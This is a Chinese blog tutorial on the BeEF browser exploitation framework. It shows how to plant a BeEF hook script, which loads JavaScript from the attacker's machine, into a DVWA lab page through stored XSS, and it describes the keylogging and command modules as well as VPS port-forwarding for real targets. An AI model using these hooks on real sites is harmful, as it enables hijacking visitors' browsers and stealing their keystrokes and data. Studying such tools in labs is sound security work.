XSS之Beef的使用
0x01 Beef简介
BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。
beef管理、挂钩web浏览器的过程:
生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理
0x02攻击手段
配合xss,将hook插入到存在xss的注入处;
直接诱使客户端访问含有 hook 的伪造站点
结合中间人攻击注入 hook 脚本
0x03 用途
键盘记录器
网络扫描
浏览器信息收集
绑定 shell
与 metasploit 集成
等...
0x04 beef工具获取
beef只支持Linux平台
获取:
wget https://github.com/beefproject/beef/archive/master.zip
或:
git clone https://github.com/beefproject/beef
安装配置查看:https://github.com/beefproject/beef/wiki/Installation
kali-linux自带beef;
beef如果用于实战的话,需要一台vps,也就是建立连接的时候要使受害机能访问到beef,因此需要一个外网ip。
我的vps安装beef的时候有点问题,那么我们可以使用本地kali的beef,开放服务后,对beef的服务端口进行端口转发,转发到我们外网的vps上,那么受害机访问payload(hook)后就可以反向到我们的beef服务端了。
这里端口转发可以使用frp、portfwd、ew等。
0x05使用
我在本地进行演示:
攻击机kali:192.168.106.129
靶机DVWA:192.168.31.214
1.更改beef的默认用户名密码
beef的配置文件:/etc/beef-xss/config.yaml
beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值
2.启动
终端输入beef-xss即可启动beef服务端。
beef的服务端地址为:http://127.0.0.1:3000/ui/panel,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef
登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面
3.插入脚本hook到靶机
然后我们的hook启动的时候已经给出:
Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: <script src="https://127.0.0.1:3000/hook.js"></script>
kali的地址为192.1618.106.129,那么靶机上插入的hook js脚本为:
<script src="https://192.168.106.129:3000/hook.js"></script>
在靶机DVWA上找一个xss漏洞,将hook插入到注入点:
留言提交后,靶机的浏览器就被beef钩上了:
因为我kali虚拟机开的nat模式,本机连的wifi,因此beef上显示的ip不是我wifi分配的ip,但就是我本机。
存储型xss的话只要插入的hook js语句,那么管理员正常访问他的站点就会触发,然后上钩。
0x06 beef管理
在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息
1、Details是浏览器信息详情
2.logs模块-键盘记录
3.commands-命令模块
Commands是你能对该浏览器进行哪些操作
主要模块:
-Browsers - Exploits - Host - Persistence(持久) - Network
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
灰色圆圈:模块未在目标浏览器上测试过
更多的请参照卿师傅的博客:https://blog.csdn.net/qq_17204441/article/details/90706415?ops_request_misc=%7B%22request%5Fid%22%3A%22158209161719724835856114%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158209161719724835856114&biz_id=0&utm_source=distribute.pc_search_result.none-task
最新文章
- Oracle---------sql 中取值两列中值最大的一列
- Java集合框架实现自定义排序
- 一首诗,致亲爱的csdn
- ABBYY FineReader 12对系统有哪些要求
- Typed Message模式与Event Sourcing
- 1724: [Usaco2006 Nov]Fence Repair 切割木板( 贪心 )
- SDOI Day1
- dockerfile语法
- Resharper使用详解(转)
- 转://看懂Oracle中的执行计划
- HP Elitebook 830 G5/Win10蓝屏 UcmUcsi.sys 错误解决
- Zero to Build: Create new Xamarin apps in minutes with AppMap
- final 关键字:用来修饰类,方法,成员变量,局部变量
- 《JavaScript》 程序基本知识 数据类型。 {0912上} {0912下}
- 最短路(SPFA)
- windows server 证书的颁发与IIS证书的使用
- Week2 代码复查
- spring cloud: Hystrix(二):简单使用@HystrixCommand的commandProperties配置@HistrixProperty隔离策略
- Theano笔记
- C#在Winform程序中显示QQ在线状态
热门文章
- pymysql连接提示format: a number is required, not str
- 关于Influxdb1.4.2在windows下的安装过程的一些问题的记录
- reload重载配置文件的真相
- LUA学习笔记(第18-20章)
- webdriver高级应用 -更改一个对象界面的属性值
- Android客户端OkHttp的使用以及tomcat服务器的解析客户端发过来的数据
- 事务特性ACID及隔离级别
- Go语言实现:【剑指offer】二叉树的镜像
- c#设计模式读书博客
- 5.7.20 多实例——MGR部署实战